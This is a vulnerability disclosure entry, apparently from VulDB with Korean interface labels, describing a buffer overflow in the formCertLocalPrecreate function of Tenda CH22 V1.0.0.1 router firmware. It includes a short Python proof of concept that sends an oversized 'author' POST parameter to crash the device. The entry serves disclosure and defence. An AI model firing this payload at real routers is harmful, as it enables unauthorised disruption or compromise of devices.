| 제목 | Tenda CH22 V1.0.0.1 Buffer Overflow |
|---|
| 설명 | ## Overview
- Firmware download website: https://www.tenda.com.cn/download/2230
## Affected version
CH22 V1.0.0.1
## Vulnerability details
The Tenda CH22 V1.0.0.1 firmware has a buffer overflow vulnerability in the `formCertLocalPrecreate` function. The `V11` variable receives the `author` parameter from a POST request and is later passed to the `sprintf` function. However, since the user can control the input of `author` , the statement `sprintf(s, "CN = %s/emailAddress=%s\n", v11, v10);` can cause a buffer overflow.
## PoC
```
import requests
ip = "192.168.1.1"
url = f'http://{ip}/goform/CertLocalPrecreate'
payload = b'a' * 1000
data = {
'author':payload
}
requests.post(url, data=data)
``` |
|---|
| 원천 | ⚠️ https://candle-throne-f75.notion.site/Tenda-CH22-formCertLocalPrecreate-377df0aa118580e99c96f8ecf4475563 |
|---|
| 사용자 | ysnysn0121 (UID 86198) |
|---|
| 제출 | 2026. 06. 13. PM 04:13 (1 월 ago) |
|---|
| 모더레이션 | 2026. 07. 18. PM 12:08 (1 month later) |
|---|
| 상태 | 중복 |
|---|
| VulDB 항목 | 355396 [Tenda CH22 1.0.0.1 Parameter CertLocalPrecreate formCertLocalPrecreate standard 메모리 손상] |
|---|
| 포인트들 | 0 |
|---|